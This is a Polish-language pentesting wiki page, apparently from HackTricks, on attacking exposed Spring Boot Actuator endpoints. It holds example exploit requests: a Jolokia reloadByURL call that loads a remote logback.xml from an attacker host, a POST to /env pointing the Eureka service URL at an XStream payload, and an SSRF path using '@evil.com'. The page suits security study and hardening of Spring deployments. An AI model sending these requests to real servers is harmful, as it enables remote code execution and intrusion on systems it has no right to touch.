# Spring Actuators {{#include ../../banners/hacktricks-training.md}} ## **Spring Auth Bypass**
**Z** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Wykorzystywanie Spring Boot Actuators **Sprawdź oryginalny post z** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Kluczowe punkty:** - Spring Boot Actuators rejestrują punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie. - Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` i `/heapdump`. - W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x są pod podstawową ścieżką `/actuator/`. ### **Techniki wykorzystywania:** 1. **Zdalne wykonanie kodu przez '/jolokia'**: - Punkt końcowy `/jolokia` ujawnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans. - Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu przez skonstruowane konfiguracje XML. - Przykładowy URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Modyfikacja konfiguracji przez '/env'**: - Jeśli obecne są biblioteki Spring Cloud, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych. - Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL. - Przykładowe żądanie POST exploita: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Inne przydatne ustawienia**: - Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych. ### **Dodatkowe informacje:** - Kompletna lista domyślnych actuatorów może być znaleziona [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama. ### **Pokrewne tematy:** 1. **Env + H2 RCE**: - Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF w Spring Boot przez niewłaściwą interpretację ścieżki**: - Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). - Przykładowe żądanie exploita: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}}